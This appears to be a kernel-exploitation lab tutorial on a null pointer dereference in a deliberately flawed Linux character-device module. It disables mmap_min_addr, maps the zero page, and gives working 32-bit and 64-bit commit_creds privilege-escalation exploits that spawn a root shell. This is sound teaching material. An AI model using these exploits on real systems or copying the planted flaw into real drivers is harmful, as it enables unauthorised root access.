Excuse the ads! We need some help to keep our site up.

List

Null pointer dereference

0-address protection

lazenca0x0@ubuntu:~$ sysctl vm.mmap_min_addr
vm.mmap_min_addr = 65536
lazenca0x0@ubuntu:~$
lazenca0x0@ubuntu:~$ sudo sysctl -w vm.mmap_min_addr="0"
vm.mmap_min_addr = 0
lazenca0x0@ubuntu:~$

Example

Source code of module

#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>

 
MODULE_LICENSE("Dual BSD/GPL");
 
#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
     
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
 
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);

struct file_operations chardev_fops = {
    .release = chardev_release,
    .write   = chardev_write,
};

struct data {
    unsigned char buffer[BUFFER_SIZE];
};

static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
 
    printk("The chardev_init() function has been called.");
     
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
 
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
 
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
 
    return 0;
}
 
static void chardev_exit(void)
{
    int minor; 
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
     
    printk("The chardev_exit() function has been called.");
     
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
 
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
 
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}

void (*myFunPtr)(void);
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    myFunPtr();
    return count;
}

module_init(chardev_init);
module_exit(chardev_exit);

Build & Setting

obj-m := chardev.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ make
make -C /lib/modules/4.2.0-27-generic/build M=/home/lazenca0x0/Kernel/Exploit/Null modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic'
  CC [M]  /home/lazenca0x0/Kernel/Exploit/Null/chardev.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/lazenca0x0/Kernel/Exploit/Null/chardev.mod.o
  LD [M]  /home/lazenca0x0/Kernel/Exploit/Null/chardev.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic'
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ 

Proof of Concept

PoC code

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef

int main(){

    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);

    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }

    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));

    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        close(fd);
    }else{
        printf("Failed to open file.\n");
    }
    
    return 0;
}

Debug

lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo cat /proc/kallsyms |grep chardev
f9dac000 t chardev_write	[chardev]
f9dac020 t chardev_release	[chardev]
f9dac060 t chardev_init	[chardev]
f9dae2dc b chardev_major	[chardev]
f9dae2a0 b chardev_cdev	[chardev]
f9dae284 b __key.24587	[chardev]
f9dae284 b chardev_class	[chardev]
f9dac1a0 t chardev_exit	[chardev]
f9dae280 b myFunPtr	[chardev]
f9dae080 d __this_module	[chardev]
f9dae000 d chardev_fops	[chardev]
f9dac1a0 t cleanup_module	[chardev]
f9dac060 t init_module	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Continuing.
^C
Program received signal SIGINT, Interrupt.
0xc10548d5 in ?? ()
(gdb) b *0xf9dac000
Breakpoint 1 at 0xf9dac000
(gdb) c
Continuing.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o poc poc.c 
poc.c: In function ‘main’:
poc.c:22:5: warning: null argument where non-null required (argument 1) [-Wnonnull]
     memcpy(0, payload, sizeof(payload));
     ^
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./poc
[*] Mapped zero page.
Breakpoint 1, 0xf9dac000 in ?? ()
(gdb) x/10i $eip
=> 0xf9dac000:	push   ebp
   0xf9dac001:	mov    ebp,esp
   0xf9dac003:	push   ebx
   0xf9dac004:	lea    esi,ds:[esi+eiz*1+0x0]
   0xf9dac009:	mov    ebx,ecx
   0xf9dac00b:	call   DWORD PTR ds:0xf9dae280
   0xf9dac011:	mov    eax,ebx
   0xf9dac013:	pop    ebx
   0xf9dac014:	pop    ebp
   0xf9dac015:	ret    
(gdb) b *0xf9dac00b
Breakpoint 2 at 0xf9dac00b
(gdb) c
Continuing.

Breakpoint 2, 0xf9dac00b in ?? ()
(gdb) x/i $eip
=> 0xf9dac00b:	call   DWORD PTR ds:0xf9dae280
(gdb) x/wx 0xf9dae280
0xf9dae280:	0x00000000
(gdb) si
0x00000000 in irq_stack_union ()
(gdb) x/2i $eip
=> 0x0 <irq_stack_union>:	call   0xdeadbeef
   0x5 <irq_stack_union+5>:	add    BYTE PTR [eax],al
(gdb) si
0xdeadbeef in ?? ()
(gdb) i r eip
eip            0xdeadbeef          0xdeadbeef
(gdb) 

Exploit method

  • 권한상승을 위한 shellcode를 구현합니다.

    • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.

    • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.

  • 구현된 shellcode를 0x0 영역에 저장합니다.

  • "Null pointer dereference" 취약성을 이용하여 0x0 영역의 코드를 실행합니다.

  • 유저 프로그램에서 system() 함수를 이용하여 "/bin/sh" 를 실행합니다.

  • prepare_kernel_cred() 함수의 주소
  • commit_creds() 함수의 주소

Find the address of a kernel function

lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep commit_creds /proc/kallsyms
c1082b60 T commit_creds
c19cd2cc R __ksymtab_commit_creds
c19dc868 r __kcrctab_commit_creds
c19e5f9b r __kstrtab_commit_creds
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep prepare_kernel_cred /proc/kallsyms
c1082e20 T prepare_kernel_cred
c19d16e4 R __ksymtab_prepare_kernel_cred
c19dea74 r __kcrctab_prepare_kernel_cred
c19e5f5f r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Generate Shellcode - 32bit

//commit_creds(prepare_kernel_cred(0))
xor %eax,%eax
call 0xc1082e20
call 0xc1082b60
ret
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o asm asm.s -nostdlib -Ttext=0 -N
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm

asm:     file format elf32-i386


Disassembly of section .text:

00000000 <__bss_start-0xd>:
   0:	31 c0                	xor    %eax,%eax
   2:	e8 19 2e 08 c1       	call   c1082e20 <_end+0xc1082e10>
   7:	e8 54 2b 08 c1       	call   c1082b60 <_end+0xc1082b50>
   c:	c3                   	ret    
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Generate Shellcode - 64bit

//commit_creds(prepare_kernel_cred(0))
xor %rdi, %rdi
call 0xffffffff8109da40
xchg %rdi,%rax
call 0xffffffff8109d760
ret
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm

asm:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <__bss_start-0x10>:
   0:	48 31 ff             	xor    %rdi,%rdi
   3:	e8 38 da 09 81       	callq  ffffffff8109da40 <__bss_start+0xffffffff8109da30>
   8:	48 97                	xchg   %rax,%rdi
   a:	e8 51 d7 09 81       	callq  ffffffff8109d760 <__bss_start+0xffffffff8109d750>
   f:	c3                   	retq   
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Exploit code

32bit

//gcc -static -o exploit exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x31\xc0\xe8\x19\x2e\x08\xc1\xe8\x54\x2b\x08\xc1\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        system("sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux
# 

64bit

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x48\x31\xff\xe8\x38\xda\x09\x81\x48\x97\xe8\x51\xd7\x09\x81\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
		system("/bin/sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 

References